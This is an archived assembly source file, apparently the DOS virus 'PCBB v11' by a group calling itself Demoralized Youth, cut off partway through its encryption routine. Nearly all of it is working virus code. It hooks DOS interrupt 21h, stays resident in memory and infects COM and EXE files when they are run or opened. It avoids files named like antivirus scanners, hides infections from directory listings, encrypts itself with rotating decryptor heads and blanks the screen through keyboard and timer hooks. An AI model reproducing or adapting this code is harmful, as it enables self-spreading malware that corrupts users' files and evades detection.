home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / ASM-P.ZIP / PCBB.ASM < prev    next >
Assembly Source File  |  1992-04-05  |  42KB  |  1,428 lines

  1. sec     equ 28
  2. ideal   equ 3*1024      ;every file will increase by this ammount of bytes
  3.  
  4. ;           ░░░░░░░          ░░░░░░         ░░░░░░░         ░░░░░░░
  5. ;          ░▒▒▒▒▒▒▒░        ░▒▒▒▒▒▒░       ░▒▒▒▒▒▒▒░       ░▒▒▒▒▒▒▒░
  6. ;         ░▒▓▓▓▓▓▓▓▒░      ░▒▓▓▓▓▓▓▒░     ░▒▓▓▓▓▓▓▓▒░     ░▒▓▓▓▓▓▓▓▒░
  7. ;        ░▒▓███████▓▒░    ░▒▓██████▓▒░   ░▒▓███████▓▒░   ░▒▓███████▓▒░
  8. ;        ░▒▓████▓███▓▒░  ░▒▓████▓███▓▒░  ░▒▓████▓███▓▒░  ░▒▓████▓███▓▒░
  9. ;        ░▒▓████▓███▓▒░  ░▒▓████▓▓▓▓▒░   ░▒▓████▓███▓▒░  ░▒▓████▓███▓▒░
  10. ;        ░▒▓███████▓▒░   ░▒▓████▓▒▒▒░    ░▒▓███████▓▒░   ░▒▓███████▓▒░
  11. ;        ░▒▓████▓▓▓▒░    ░▒▓████▓▓▓▓▒░   ░▒▓████▓███▓▒░  ░▒▓████▓███▓▒░
  12. ;        ░▒▓████▓▒▒░     ░▒▓████▓███▓▒░  ░▒▓████▓███▓▒░  ░▒▓████▓███▓▒░
  13. ;        ░▒▓████▓▒░       ░▒▓██████▓▒░   ░▒▓███████▓▒░   ░▒▓███████▓▒░
  14. ;         ░▒▓▓▓▓▒░         ░▒▓▓▓▓▓▓▒░     ░▒▓▓▓▓▓▓▓▒░     ░▒▓▓▓▓▓▓▓▒░
  15. ;          ░▒▒▒▒░           ░▒▒▒▒▒▒░       ░▒▒▒▒▒▒▒░       ░▒▒▒▒▒▒▒░
  16. ;           ░░░░             ░░░░░░         ░░░░░░░         ░░░░░░░
  17. ;
  18. Ver equ 11
  19. ;
  20.  
  21. cpt1            equ $           ;Checkpoint 1
  22.  
  23. enc_start       equ $
  24. org 100h
  25.                 call    dummyjmp1
  26.  
  27. marker  db 0    ;com / exe marker (0=com, 1=exe)
  28.  
  29. dummyjmp1:      pop bx
  30.  
  31.                 cmp     byte [bx],0
  32.                 je      is_a_com
  33.  
  34.                 mov     ax,es
  35.                 add     ax,0
  36. exe_cpt1 equ $-2
  37.                 push    ax
  38.                 mov     ax,0
  39. exe_cpt2 equ $-2
  40.                 push    ax
  41.  
  42.                 push    es
  43.                 pop     ds
  44.                 jmp     cont_install
  45.  
  46. is_a_com:
  47.                 push   cs
  48.                 mov    ax,100h
  49.                 push   ax
  50.  
  51. cont_install:
  52.                 push    ds
  53.  
  54.                 push    cs
  55.                 pop     ds
  56.  
  57.                 call    one_three
  58.  
  59.                 mov     ax,0C001h
  60.                 mov     bx,ax
  61.                 add     ax,07DFFh
  62.  
  63.                 db 0EBh,01,0EBh
  64.  
  65.                 int     21h
  66.  
  67.                 db 0E9h,1,0,0B8h
  68.  
  69.                 cmp     bx,0D00Dh
  70.                 je      startup_fail
  71.  
  72.                 call    one_three
  73.  
  74. ;               cmp     sp,-10h
  75. ;               jb      startup_fail
  76.  
  77.                 mov     ax,es
  78.                 dec     ax
  79.                 mov     es,ax
  80.                 cmp     byte es:[0000h],'Z'
  81.                 jne     startup_fail
  82.  
  83.                 mov     ax,es:[0003h]
  84.                 sub     ax,tsr_para
  85.                 jc      startup_fail
  86.  
  87.                 mov     es:[0003h],ax
  88.                 sub     word ptr es:[0012h],tsr_para
  89.                 mov     es,es:[0012h]
  90.  
  91.                 call    one_three
  92.  
  93.                 call    $+3
  94.  
  95. cpt3            equ $           ;Checkpoint 3
  96.  
  97.                 pop     si
  98.                 sub     si,(cpt3-cpt1)
  99.                 mov     bx,si
  100.                 add     si,(cpt4-cpt1)
  101.                 push    cs
  102.                 push    si
  103.  
  104.                 mov     si,bx
  105.                 mov     cx,offset total-100h
  106.                 mov     di,100h
  107.                 push    es
  108.                 rep     movsb
  109.                 mov     di,offset init
  110.                 push    di
  111.  
  112.                 retf
  113. cpt4            equ $           ;Checkpoint 4
  114.  
  115. startup_fail:
  116.                 call    $+3
  117. dummycpt1       equ $-offset marker
  118.                 sub     ax,ax
  119.                 xor     bx,bx
  120.                 sub     cx,cx
  121.                 xor     dx,dx
  122.                 xor     di,di
  123.                 sub     bp,bp
  124.                 pop     si
  125.                 pop     ds
  126.                 push    ds
  127.                 pop     es
  128.                 cmp     byte cs:[si-dummycpt1],1
  129.                 je      file_is_exe
  130.  
  131.                 mov     word [100h],20CDh
  132. rpl1            equ     $-2
  133.                 mov     byte [102h],90h
  134. rpl2            equ     $-1
  135.  
  136. file_is_exe:
  137.                 sub     si,si
  138.                 retf
  139.  
  140. cpt2            equ $           ;Checkpoint 2
  141.  
  142. ;****************************************************************************
  143. ;*              Data Area                                                   *
  144. ;****************************************************************************
  145.  
  146. ;sft             equ     005Ch   ;3Ah
  147.  
  148. ofs_scan_crc    equ     0050h   ;+3
  149. ofs_chk_ver     equ     0053h   ;+1              version number
  150. ofs_chk_size    equ     0054h   ;+2              version size
  151. ofs_chk_sig     equ     0056h   ;+4              signature
  152.  
  153. header          equ     005Ah
  154. ofs_first_3     equ     005Ah   ;+3              three first bytes in COM
  155. ofs_time        equ     008Dh   ;+2
  156. ofs_date        equ     008Fh   ;+2
  157. ofs_attr        equ     0091h   ;2
  158.  
  159. sft_attr        equ     04h     ;(byte)
  160. sft_time        equ     0Dh     ;(word)
  161. sft_date        equ     0Fh     ;(word)
  162. sft_size        equ     11h     ;(dword)
  163.  
  164. ;                        ;CRC signature added by "SCAN /AV"
  165. ;scan_sig        db      0f0h,0fdh,0c5h,0aah,0ffh,0f0h
  166.  
  167. set_sgm:        push cs
  168.                 push ds
  169.  
  170.  
  171. f_size          dw      0
  172. bb_stat         db      0
  173. cntr            dw      0
  174. r_cntr          dw      0,0
  175.  
  176. ;;; DISK S. DATA ;;;
  177. x_first3        db '   '
  178. x_version       db  0
  179. x_size          dw  0
  180. x_sig           db '    '
  181.  
  182. stat            db 0
  183. stat2           db 0
  184.  
  185. handle  dw 0
  186.  
  187. _handle         dw 0
  188. ;_dx             dw 0
  189. ;_ds             dw 0
  190. _bytes          dw 0
  191. val_len         dw 0,0
  192. pos             dw 0,0
  193. pos2            dw 0,0
  194.  
  195. append          dw 0
  196.  
  197. stealth1st      dw 0
  198.  
  199. ;;;DISK S DATA ENDS;;;
  200.  
  201. ;db 'Only The Good Die Young'
  202.  
  203.  
  204. jmp_to  dw 0
  205.  
  206. push_all:
  207.         pop     cs:[jmp_to]
  208.         push    ax
  209.         push    bx
  210.         push    cx
  211.         push    dx
  212.         push    si
  213.         push    di
  214.         push    ds
  215.         push    es
  216.         push    bp
  217.         jmp     cs:[jmp_to]
  218.  
  219. pop_all:
  220.         pop     cs:[jmp_to]
  221.         pop     bp
  222.         pop     es
  223.         pop     ds
  224.         pop     di
  225.         pop     si
  226.         pop     dx
  227.         pop     cx
  228.         pop     bx
  229.         pop     ax
  230.         jmp     cs:[jmp_to]
  231.  
  232.  
  233.  
  234.  
  235.  
  236. handle_dir:
  237.                 popf
  238.                 call    int21
  239.  
  240.                 pushf
  241.                 jnc     back_handle_dir
  242.  
  243. ;                cmp     ax,0
  244. ;                jne     back_handle_dir
  245.  
  246.                 call    stealth_dir_handle
  247.                 sti
  248. back_handle_dir:
  249.                 popf
  250.                 iret
  251.  
  252. fcb_dir:
  253.                 popf
  254.                 call    int21
  255.  
  256.                 pushf
  257.                 cmp     al,00h
  258.                 jne     back_fcb_dir
  259.  
  260.                 call    stealth_dir_fcb
  261.                 sti
  262. back_fcb_dir:
  263.                 popf
  264.                 iret
  265.  
  266.  
  267.  
  268.  
  269. ;****************************************************************************
  270. ;*              Interupt 24 handler                                         *
  271. ;****************************************************************************
  272. ni24:           mov     al,3
  273.                 iret
  274.  
  275. ;****************************************************************************
  276. ;*              Call OLD Interrupt 21 Handler
  277. ;****************************************************************************
  278. int21:
  279.         pushf
  280.         call    dword ptr cs:org21
  281.         ret
  282.  
  283. ;****************************************************************************
  284. ;*              Interupt 21 handler                                         *
  285. ;****************************************************************************
  286. ni21:           pushf
  287.  
  288. ;cmp ah,40h
  289. ;je __read
  290.  
  291. ;jmp no_fcb12 ;no_bogus
  292.  
  293.                 cmp     ah,11h
  294.                 jne     no_fcb11
  295.                 jmp     fcb_dir
  296. no_fcb11:
  297.                 cmp     ah,12h
  298.                 jne     no_fcb12
  299.                 jmp     fcb_dir
  300. no_fcb12:
  301.  
  302. jmp no_bogus
  303.  
  304.                 cmp     ah,03Fh
  305.                 jne     no_bogus
  306. __read:         jmp     _read
  307.  
  308. no_bogus:
  309.                 cmp     ah,03Eh
  310.                 jne     body
  311.                 cmp     bx,0C001h
  312.  
  313.                 jne     body
  314.                 mov     bx,0D00Dh
  315.                 popf
  316.                 stc
  317.                 retf    2
  318.  
  319. o24     dw 0,0
  320. o13     dw 0,0
  321.  
  322. body:
  323.                 call    push_all
  324.  
  325.                 push    ax
  326.                 push    ds
  327.                 push    dx
  328.                 push    es
  329.                 push    bx
  330.  
  331.                 xor     ax,ax
  332.                 mov     es,ax
  333.                 les     bx,es:[24h*4]
  334.  
  335.                 mov     cs:o24[0],bx
  336.                 mov     cs:o24[2],es
  337.                 mov     ax,2524h
  338.                 mov     dx,offset ni24
  339.                 push    cs
  340.                 pop     ds
  341.                 call    int21
  342.                 pop     bx
  343.                 pop     es
  344.                 pop     dx
  345.                 pop     ds
  346.                 pop     ax
  347.  
  348.  
  349.                 cmp     ah,3Eh                  ;close ?
  350.                 jne     vvv
  351.                 cmp     bx,5
  352.                 jl      exit
  353.  
  354.                 mov     ah,45h                  ;duplicate handle
  355.                 jmp     doit
  356. vvv:            cmp     ah,56h                  ;rename ?
  357.                 je      dsdx
  358.                 cmp     ah,43h                  ;chmod ?
  359.                 je      dsdx
  360.                 cmp     ah,3Dh
  361.                 jne     not_open
  362.  
  363.                 call    pas_wp
  364. not_open:
  365.              ;   cmp     ah,3Dh                  ;open ?
  366.              ;   je      dsdx
  367.                 cmp     ax,4B00h                ;execute ?
  368.                 jne     exit
  369.  
  370. dsdx:           mov     ax,3D00h                ;open the file
  371. doit:           call    int21
  372.                 jc      exit
  373.                 xchg    ax,bx
  374.                 jmp     infect
  375.  
  376. exit:
  377.                 call    reset_i24
  378.  
  379. glemmdet:
  380.                 call    pop_all
  381. alfa:
  382.                 popf
  383.  
  384.                 db 0EAh                         ;JMP FAR xxxx:xxxx
  385. org21           dw 0,0
  386.  
  387.  
  388. avslussen:      mov ah,4Ch
  389.                 int 21h
  390.  
  391. one_three:
  392.                 ret
  393.                 pushf
  394.                 push ax
  395.                 push ds
  396.                 push dx
  397.  
  398.                 push cs
  399.                 pop ds
  400.  
  401.                 call $+3
  402.                 pop  dx
  403.                 sub dx,($-1)-offset avslussen
  404.                 push cs
  405.                 pop ds
  406.  
  407.                 mov ax,2501h
  408.                 int 21h
  409.                 inc al
  410.                 inc al
  411.                 int 21h
  412.  
  413.                 pop dx
  414.                 pop ds
  415.                 pop ax
  416.                 popf
  417.                 ret
  418.  
  419.  
  420. db 'PCBB v11 (c) Hannibal Lechter of Demoralized Youth Norway'
  421.  
  422. ;****************************************************************************
  423. ;*              Try to stealth a HANDLE READ (3Fh)
  424. ;****************************************************************************
  425. _read:
  426.                 cmp     cs:stat,1
  427.                 je      alfa
  428.                 mov     cs:stat,1
  429.                 cmp     bx,5
  430.                 jl      alfa
  431.                 jcxz    alfa
  432.  
  433.                 mov     cs:stat2,0
  434.                 call    read
  435.                 cmp     cs:stat2,0
  436.                 je      back2
  437.  
  438.                 popf
  439.                 pushf
  440.                 call    dword ptr cs:org21
  441.                 jc back3
  442.  
  443.                 pushf
  444.                 call    push_all
  445.  
  446.                 push    ds
  447.                 pop     es
  448.                 push    cs
  449.                 pop     ds
  450.  
  451.                 mov     bx,pos[0]
  452.                 mov     cx,stealth1st[0]
  453.  
  454.                 mov     di,dx
  455.                 add     di,bx
  456.                 mov     si,offset header ;x_first3
  457.                 add     si,bx
  458.  
  459.                 cld
  460. first_b2:
  461.                 movsb
  462.                 dec     cx
  463.                 jcxz    first_b1
  464.                 inc     bx
  465.                 cmp     bx,24
  466.                 jl      first_b2
  467. first_b1:
  468.                 call    pop_all
  469.                 popf
  470. back3:
  471.                 mov     cs:stat,0
  472.                 mov     cs:stat2,0
  473.                 iret
  474. back2:
  475.                 mov     cs:stat,0
  476.                 mov     cs:stat2,0
  477.                 jmp     alfa
  478.  
  479. ;****************************************************************************
  480. ;*              Close the file
  481. ;****************************************************************************
  482. close:
  483.                 push    cx
  484.                 push    dx
  485.  
  486.                 mov     ax,5701h
  487.                 mov     cx,word cs:[ofs_time]
  488.                 mov     dx,word cs:[ofs_date]
  489.                 call    int21
  490.  
  491. ;                mov     al,byte cs:[ofs_attr]
  492. ;                mov     byte [di+4],al
  493.  
  494. ;               mov     ax,4301h
  495. ;               mov     cx,word cs:[ofs_attr]
  496. ;               call    int21
  497.  
  498.                 pop     dx
  499.                 pop     cx
  500.  
  501.                 mov     ah,3Eh
  502.                 call    int21
  503.                 ret
  504.  
  505.  
  506. ;db 'Now I lay me down to sleep, I pray the lord my soul to keep, If I die before '
  507. ;db 'I wake, I pray the lord my soul to take'
  508.  
  509. infect:         cld
  510.  
  511.                 mov     cs:handle,bx
  512.  
  513.                 mov     ax,5700h
  514.                 int     21h
  515.                 mov     word cs:[ofs_time],cx
  516.                 mov     word cs:[ofs_date],dx
  517.  
  518.  
  519. ;start NOP'ing here...
  520. ;              push    es
  521. ;              push    bx
  522. ;
  523. ;              mov     ax,3513h
  524. ;              int     21h
  525. ;
  526. ;              mov     cs:o13[0],bx
  527. ;              mov     cs:o13[2],es
  528. ;
  529. ;              mov     ah,13h
  530. ;              int     2Fh
  531. ;              push    es
  532. ;              push    bx
  533. ;              int     2Fh
  534. ;              pop     dx
  535. ;              pop     ds
  536. ;              mov     ax,2513h
  537. ;              int     21h
  538. ;
  539. ;              pop     bx
  540. ;              pop     es
  541. ;
  542. ;stop NOP'ing here...
  543.  
  544.                 mov     ax,1220h                        ;get file-table entry
  545.                 push    bx
  546.                 push    ax
  547.                 int     2Fh
  548.                 mov     bl,es:[di]
  549.                 pop     ax
  550.                 sub     al,0Ah
  551.                 int     2Fh
  552.                 pop     bx
  553.  
  554.                 push    es
  555.                 pop     ds
  556.  
  557.                 push    [di+2]                          ;save attr & open-mode
  558.                 push    [di+4]
  559.  
  560.                 mov     al,[di+4]
  561.                 mov     byte cs:[ofs_attr],al
  562.  
  563.                 cmp     word [di+sft_size+2],0
  564.                 jne     close1v
  565.                 mov     ax,word [di+sft_size]
  566.                 cmp     ah,0F0h
  567.                 ja      close1v
  568.                 cmp     ah,0
  569.                 jl      close1v
  570.  
  571.                 mov     cs:f_size,ax
  572.  
  573.                 cmp     word ptr [di+28h],'XE'
  574.                 jne     not_exe
  575.                 cmp     word ptr [di+2Ah],'E'
  576.                 je      check_name
  577.  
  578. not_exe:        cmp     word ptr [di+28h],'OC'
  579.                 jne     close1v  ;jne
  580.                 cmp     byte ptr [di+2Ah],'M'
  581. check:          je      check_name
  582. close1v:        jmp     close1
  583.  
  584. check_name:     cmp     byte ptr [di+20h],'V'           ;name is V*.* ?
  585.                 je      close1v
  586.                 cmp     byte ptr [di+20h],'F'           ;name is F*.* ?
  587.                 je      close1v
  588.  
  589.                 mov     cx,7                            ;name is *SC*.* ?
  590.                 mov     ax,'CS'
  591.                 push    di
  592.                 add     di,21h
  593.                 cld
  594. SCloop:         dec     di
  595.                 scasw
  596.                 loopnz  SCloop
  597.                 pop     di
  598.                 je      close1v
  599.  
  600.                 mov     byte ptr [di+2],2               ;open for read/write
  601.                 mov     byte ptr [di+4],0               ;clear attributes
  602.  
  603.                 cld
  604.                 jmp     read_info
  605. _call1:
  606.                 jc      close2
  607. ;                push    [di+0Dh]
  608. ;                push    [di+0Fh]
  609.  
  610.                 jmp     patch_it
  611. _call0:
  612. ;                pop     [di+0Fh]
  613. ;                pop     [di+0Dh]
  614. close2:
  615.  
  616.                 push    es                              ;close after infection
  617.                 pop     ds
  618.  
  619.                 or      byte ptr [di+6],40h             ;no time-change
  620.  
  621. ;                pop     [di+4]
  622. ;                pop     [di+2]
  623. ;                push    [di+2]
  624. ;                push    [di+4]
  625.  
  626. close1:         call    close                           ;normal close
  627.  
  628.                 or      byte ptr [di+5],40h     ;no EOF on next close
  629.                 pop     [di+4]                  ;restore attribute & open-mode
  630.                 pop     [di+2]
  631.  
  632. ;start NOP
  633. ;              lds     dx,cs:o13[0]
  634. ;              mov     ax,2513h
  635. ;              call    int21
  636. ;stop NOP
  637.  
  638.  
  639.                 jmp     exit
  640.  
  641. read_info:
  642.                 push    ds
  643.  
  644.                 push    ds      ;(ds)
  645.                 pop     es
  646.  
  647.                 push    cs
  648.                 pop     ds
  649.  
  650.                 mov     ah,3Fh
  651.                 mov     cx,18h
  652.                 mov     dx,ofs_first_3
  653.                 call    int21
  654.                 jc      failed
  655.                 cmp     al,18h
  656.                 jne     failed
  657.  
  658.                 xchg    cx,ax
  659.                 shr     cx,1
  660.                 mov     si,ofs_first_3
  661.                 mov     di,offset dummy
  662.  
  663. encr_l8b:
  664.                 lodsw
  665.                 xor     ax,'IF'
  666.                 xor     ax,'HS'
  667.                 xor     ax,'W&'
  668.                 xor     ax,'AH'
  669.                 xor     ax,'EL'
  670.                 mov     [di],ax
  671.                 inc     di
  672.                 inc     di
  673.                 loop    encr_l8b
  674.  
  675.                 mov     ax,4202h
  676.                 mov     cx,-1
  677.                 mov     dx,-10
  678.                 call    int21
  679.                 jc      failed
  680.  
  681.                 mov     ah,3Fh
  682.                 mov     cx,10
  683.                 mov     dx,ofs_scan_crc
  684.                 call    int21
  685.                 jc      failed
  686.                 cmp     al,10
  687.                 jne     failed
  688.  
  689.                 mov     ax,word ptr [ofs_first_3]
  690.                 not     ax
  691.  
  692.                 cmp     word ptr [ofs_chk_sig],'CP'     ;is word [EOF-4] = 'PC' ?
  693.                 jne     not_infected
  694.                 cmp     word ptr [ofs_chk_sig+2],'BB'   ;is word [EOF-2] = 'BB' ?
  695.                 jne     not_infected
  696.                 jmp     failed
  697.  
  698. not_infected:
  699.                 pop     ds
  700.                 clc
  701.                 jmp     _call1
  702. failed:
  703.                 pop     ds
  704.                 stc
  705.                 jmp     _call1
  706.  
  707. ;db 13,10
  708. ;db "Whoe to you of earth and sea...",13,10
  709. ;db "For the devil sends the beast with wrath,",13,10
  710. ;db "Because he knows the time is short...",13,10
  711. ;db "The people who have understanding,",13,10
  712. ;db "Reckon the number of the beast,",13,10
  713. ;db "Because it is a secret number...",13,10
  714. ;db "It's number is six-hundred and sixty-six!",13,10,36
  715.  
  716. db 'When you are demoralized....   there is NO way out!',13,10,36
  717.  
  718. ;│▌█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█▐│
  719. ;│▌█                       Keyboard (Int 09h) Handler                       █▐│
  720. ;│▌█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█▐│
  721. key_rout:
  722.                 pushf
  723.  
  724.                 inc     cs:r_cntr[0]
  725.                 adc     cs:r_cntr[2],0
  726.  
  727.                 inc     cs:cntr
  728.                 cmp     cs:cntr,offset total
  729.                 jl      key_b1
  730.                 mov     cs:bb_stat,1
  731.                 mov     cs:cntr,0
  732. key_b1:
  733.                 cmp     cs:bb_stat,0
  734.                 je      key_b2
  735.  
  736.                 push    ax
  737.                 push    cx
  738.                 push    dx
  739.                 push    ds
  740.  
  741.                 xor     ax,ax
  742.                 mov     ds,ax
  743.                 mov     al,byte ptr [417h]
  744.                 and     al,15
  745.                 cmp     al,15
  746.                 jne     key_b3
  747.  
  748.                 mov     cs:bb_stat,0
  749.  
  750.                 mov     dx,3DAh
  751.                 in      al,dx
  752.                 mov     dx,3BAh
  753.                 in      al,dx
  754.                 mov     dx,3C0h
  755.                 mov     al,20h
  756.                 out     dx,al
  757. key_b3:
  758.                 pop     ds
  759.                 pop     dx
  760.                 pop     cx
  761.                 pop     ax
  762. key_b2:
  763.                 popf
  764.  
  765.                 db      0EAh
  766. old_key         dw      0,0                     ;old KBD vector
  767.  
  768.  
  769. ;│▌█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█▐│
  770. ;│▌█                      Timer Tick (Int 1Ch) Handler                      █▐│
  771. ;│▌█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█▐│
  772. tmr_rout:
  773.                 pushf
  774.  
  775.                 cmp     cs:bb_stat,0
  776.                 je      tmr_b1
  777.  
  778.                 push    ax
  779.                 push    dx
  780.  
  781.                 mov     dx,3DAh
  782.                 in      al,dx
  783.                 mov     dx,3BAh
  784.                 in      al,dx
  785.                 mov     dx,3C0h
  786.                 mov     al,0
  787.                 out     dx,al                   ;0 = off, 32 = on
  788.  
  789.                 pop     dx
  790.                 pop     ax
  791. tmr_b1:
  792.                 popf
  793.                 db      0EAh
  794.                 oldh    dw 0,0                  ;Old TIMER-TICK vector
  795.  
  796. enc_data db 011h,009h,00Dh,0E8h,000h,000h,05Eh,081h,0C6h,00Eh,000h,0B9h,000h
  797.          db 000h,080h,034h,000h,046h,0E2h,0FAh,013h,009h,00Fh,0E8h,000h,000h
  798.          db 05Bh,081h,0C3h,010h,000h,0B9h,000h,000h,033h,0F6h,080h,030h,000h
  799.          db 046h,0E2h,0FAh,015h,004h,012h,0E8h,000h,000h,0B9h,000h,000h,089h
  800.          db 0E5h,081h,046h,000h,012h,000h,05Eh,046h,080h,074h,0FFh,000h,0E2h
  801.          db 0F9h,015h,001h,012h,0B9h,000h,000h,089h,0E5h,0E8h,000h,000h,081h
  802.          db 046h,0FEh,00Dh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,016h
  803.          db 001h,013h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,036h,081h,047h
  804.          db 0FEh,00Eh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,019h,001h
  805.          db 016h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,083h,0EBh,004h,036h
  806.          db 081h,047h,002h,011h,000h,05Fh,047h,080h,075h,0FFh,000h,0E2h,0F9h
  807.          db 01Dh,009h,014h,0FCh,0EBh,002h,0C6h,006h,0E8h,000h,000h,0B9h,000h
  808.          db 000h,05Eh,081h,0C6h,015h,000h,0EBh,001h,0CDh,0B4h,000h,0ACh,032h
  809.          db 0C4h,088h,044h,0FFh,0E2h,0F8h
  810.  
  811. encr_h_ofs      dw 0
  812. encr_h_cx       db 0
  813. encr_h_xor      db 0
  814. encr_h_len      db 0
  815.  
  816. repl0:          db      0E8h,0,0
  817. repl1:          jmp near 0100h
  818.  
  819. patch_it:
  820.                 push    di
  821.                 push    si
  822.                 push    ds
  823.  
  824.                 push    cs
  825.                 pop     ds
  826.  
  827.                 mov     marker,0
  828.  
  829.                 cmp     word [ofs_first_3],'MZ'
  830.                 je      exe_calc
  831.                 cmp     word [ofs_first_3],'ZM'
  832.                 je      exe_calc
  833.  
  834.                 mov     ax,f_size
  835.                 sub     ax,3
  836.                 mov     repl0[1],ax
  837.  
  838.                 mov     ax,word [ofs_first_3]
  839.                 mov     dl,byte [ofs_first_3+2]
  840.  
  841.                 mov     [offset rpl1],ax
  842.                 mov     [offset rpl2],dl
  843.                 jmp     j_encrypt
  844.  
  845. oldl0   dw 0
  846. oldl2   dw 0
  847.  
  848. exe_calc:
  849.                 mov     ax,4202h
  850.                 xor     cx,cx
  851.                 xor     dx,dx
  852.                 call    int21
  853.  
  854.                 mov     oldl0,ax
  855.                 mov     oldl2,dx
  856.  
  857.                 push    ax
  858.                 push    dx
  859.  
  860.                 mov     ax,word [header+16h]
  861.                 add     ax,10h
  862.                 mov     word [exe_cpt1],ax
  863.                 mov     ax,word [header+14h]
  864.                 mov     word [exe_cpt2],ax
  865.  
  866.                 pop     dx
  867.                 pop     ax
  868.                 push    ax
  869.                 push    dx
  870.  
  871.                 add     ax,ideal
  872.                 adc     dx,0
  873.  
  874. ;                mov     ax,oldl0
  875.                 mov     cx,512
  876.                 div     cx
  877.                 inc     ax
  878.                 mov     word [header+4],ax
  879.                 mov     word [header+2],dx
  880.  
  881.                 pop     dx
  882.                 pop     ax
  883.  
  884.                 mov     cx,16
  885.                 div     cx
  886.                 sub     ax,word [header+8]
  887.                 mov     word [header+16h],ax
  888.                 mov     word [header+14h],dx
  889.  
  890.                 mov     marker,1
  891.  
  892. j_encrypt:
  893.                 call    encrypt                         ;encrypt & write
  894.                 sahf
  895.                 jc      no_write_1st
  896.  
  897.                 mov     ax,4200h
  898.                 xor     cx,cx
  899.                 mov     dx,cx
  900.                 call    int21
  901.  
  902.                 cmp     marker,1
  903.                 je      exe_jump
  904.  
  905.                 mov     ah,40h
  906.                 mov     cx,3
  907.                 mov     dx,offset repl0                 ;write "CALL" head
  908.                 call    int21
  909.                 jmp     alldone
  910.  
  911. exe_jump:       mov     ah,40h
  912.                 mov     cx,18h
  913.                 mov     dx,ofs_first_3
  914.                 int     21h
  915. alldone:
  916.                 and     byte cs:[ofs_time],255-31
  917.                 or      byte cs:[ofs_time],sec
  918. no_write_1st:
  919.                 pop     ds
  920.                 pop     si
  921.                 pop     di
  922.                 sahf
  923.                 jmp     _call0;                ret
  924.  
  925. ;db 'Blessed is the one who expects nothing, for he shall not be dissapointed$'
  926.  
  927. ;│▌█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█▐│
  928. ;│▌█                             Encrypt & Write                            █▐│
  929. ;│▌█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█▐│
  930. encrypt:
  931.                 push    ds                      ;Save DS & ES
  932.                 push    es
  933.  
  934.                 push    cs                      ;DS = ES = CS
  935.                 push    cs
  936.                 pop     ds
  937.                 pop     es
  938.  
  939.                 push    bx                      ;Save BX
  940.  
  941.                 cld
  942.                 call    choose_encryption_head  ;Choose encryption head
  943. get_enc_key:
  944.                 db      0E4h,40h
  945.                 cmp     al,0
  946.                 je      get_enc_key
  947.  
  948.                 mov     bh,0                    ;BH = 0
  949.                 mov     bl,encr_h_xor           ;BL = internal XOR-ofs
  950.                 mov     byte [si+bx],al         ;b [Si+Bx] = Encr. key
  951.                 mov     bl,encr_h_cx            ;BL = internal CX-ofs
  952.                 mov     word [si+bx],offset total-10Ah ;w [Si+Bx] = Encr.length
  953.                 xchg    di,ax                   ;DI = AX
  954.  
  955.                 pop     bx
  956.                 push    bx
  957.  
  958.                 push    ax
  959.                 push    di
  960.                 cld
  961.                 mov     di,offset total
  962.                 mov     cx,2048
  963.                 mov     al,'É'
  964.                 rep     stosb
  965.                 pop     di
  966.  
  967.                 xor     ch,ch
  968.                 mov     cl,encr_h_len
  969.                 add     cx,offset total-100h
  970.                 xchg    cx,ax
  971.                 mov     cx,ideal
  972.                 sub     cx,ax
  973.                 mov     ah,40h
  974.                 mov     append,cx
  975.                 mov     dx,offset total
  976.                 mov     word [total],1F0Eh
  977.                 call    int21
  978.                 pop     ax
  979.  
  980.                 mov     ah,40h                  ;Write to handle
  981.                 pop     bx                      ;restore handle number
  982.                 xor     ch,ch                   ;CH = 0
  983.                 mov     cl,encr_h_len           ;CL = Length of de-garbler
  984.                 mov     dx,si                   ;DX = Offset to de-garbler-head
  985.                 call    int21                   ;Call DOS
  986.  
  987.                 lahf                            ;AH = FLAGS
  988.                 cmp     al,cl                   ;All bytes written?
  989.                 je      success                 ;yes, then degarbler written
  990.  
  991.                 sahf                            ;FLAGS = AH
  992.                 jnc     success                 ;If no error, then...
  993.                 stc                             ;...set CY, and...
  994.                 ret                             ;...return.
  995. success:
  996.                 xchg    di,ax                   ;DI = AX
  997.                 xchg    al,ah                   ;Exchange AL with AH
  998.                 mov     si,100h                 ;SourceIndex = 100h
  999.                 mov     di,offset total         ;DI = End-Of-Code
  1000.                 mov     cx,offset total-11Fh    ;Encryption length
  1001. encrypt_l:
  1002.                 lodsb                           ;al = [SI], si: +1
  1003.                 xor     al,ah                   ;garble byte
  1004.                 stosb                           ;[DI] = al, di: +1
  1005.                 loop    encrypt_l               ;and again....
  1006.  
